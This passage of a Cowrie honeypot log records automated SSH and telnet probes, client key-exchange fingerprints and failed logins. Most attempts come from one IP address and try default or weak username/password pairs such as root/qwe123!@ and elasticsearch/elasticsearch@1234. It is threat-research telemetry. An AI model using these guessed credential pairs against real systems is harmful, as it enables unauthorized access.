sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:56.425489Z","src_ip":"83.168.110.85","session":"151278e3783e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:56.788651Z","src_ip":"83.168.110.85","session":"151278e3783e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:58.121983Z","src_ip":"83.168.110.85","session":"151278e3783e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52800,"dst_ip":"10.17.0.5","dst_port":22,"session":"1633d998cfaf","protocol":"ssh","message":"New connection: 83.168.110.85:52800 (10.17.0.5:22) [session: 1633d998cfaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:03.331378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:03.335801Z","src_ip":"83.168.110.85","session":"1633d998cfaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:03.460233Z","src_ip":"83.168.110.85","session":"1633d998cfaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:03.825311Z","src_ip":"83.168.110.85","session":"1633d998cfaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:05.048745Z","src_ip":"83.168.110.85","session":"1633d998cfaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36740,"dst_ip":"10.17.0.5","dst_port":23,"session":"a18be18beec3","protocol":"telnet","message":"New connection: 152.42.224.71:36740 (10.17.0.5:23) [session: a18be18beec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:09.021911Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43970,"dst_ip":"10.17.0.5","dst_port":22,"session":"1462cb79a6bc","protocol":"ssh","message":"New connection: 83.168.110.85:43970 (10.17.0.5:22) [session: 1462cb79a6bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:10.515032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:10.522206Z","src_ip":"83.168.110.85","session":"1462cb79a6bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:10.644763Z","src_ip":"83.168.110.85","session":"1462cb79a6bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:11.169096Z","src_ip":"83.168.110.85","session":"1462cb79a6bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:12.296866Z","src_ip":"83.168.110.85","session":"1462cb79a6bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.20868730545044,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:12.618142Z","src_ip":"152.42.224.71","session":"2b65979e29ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":37974,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7efd59ff8e7","protocol":"ssh","message":"New connection: 83.168.110.85:37974 (10.17.0.5:22) [session: a7efd59ff8e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:17.483736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:17.488466Z","src_ip":"83.168.110.85","session":"a7efd59ff8e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:17.610126Z","src_ip":"83.168.110.85","session":"a7efd59ff8e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:18.107769Z","src_ip":"83.168.110.85","session":"a7efd59ff8e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:19.231352Z","src_ip":"83.168.110.85","session":"a7efd59ff8e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40086,"dst_ip":"10.17.0.5","dst_port":22,"session":"af3e428d4606","protocol":"ssh","message":"New connection: 83.168.110.85:40086 (10.17.0.5:22) [session: af3e428d4606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:24.732005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:24.737601Z","src_ip":"83.168.110.85","session":"af3e428d4606","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:24.859007Z","src_ip":"83.168.110.85","session":"af3e428d4606","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:25.222216Z","src_ip":"83.168.110.85","session":"af3e428d4606","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:26.596410Z","src_ip":"83.168.110.85","session":"af3e428d4606","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40092,"dst_ip":"10.17.0.5","dst_port":22,"session":"a999f3eb6d0f","protocol":"ssh","message":"New connection: 83.168.110.85:40092 (10.17.0.5:22) [session: a999f3eb6d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:31.597811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:31.602612Z","src_ip":"83.168.110.85","session":"a999f3eb6d0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:31.723675Z","src_ip":"83.168.110.85","session":"a999f3eb6d0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:32.087629Z","src_ip":"83.168.110.85","session":"a999f3eb6d0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:33.464331Z","src_ip":"83.168.110.85","session":"a999f3eb6d0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60518,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fe40d1c93e4","protocol":"ssh","message":"New connection: 83.168.110.85:60518 (10.17.0.5:22) [session: 6fe40d1c93e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:38.524075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:38.529898Z","src_ip":"83.168.110.85","session":"6fe40d1c93e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:38.651062Z","src_ip":"83.168.110.85","session":"6fe40d1c93e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:39.123143Z","src_ip":"83.168.110.85","session":"6fe40d1c93e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:40.253377Z","src_ip":"83.168.110.85","session":"6fe40d1c93e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45358,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf9fa88d1fe7","protocol":"ssh","message":"New connection: 83.168.110.85:45358 (10.17.0.5:22) [session: cf9fa88d1fe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:45.297966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:45.303013Z","src_ip":"83.168.110.85","session":"cf9fa88d1fe7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:45.423905Z","src_ip":"83.168.110.85","session":"cf9fa88d1fe7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:45.786947Z","src_ip":"83.168.110.85","session":"cf9fa88d1fe7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:46.910869Z","src_ip":"83.168.110.85","session":"cf9fa88d1fe7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":45696,"dst_ip":"10.17.0.5","dst_port":22,"session":"07f712c6d320","protocol":"ssh","message":"New connection: 109.172.54.111:45696 (10.17.0.5:22) [session: 07f712c6d320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:48.635397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:48.639809Z","src_ip":"109.172.54.111","session":"07f712c6d320","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:48.739083Z","src_ip":"109.172.54.111","session":"07f712c6d320","protocol":"ssh"}
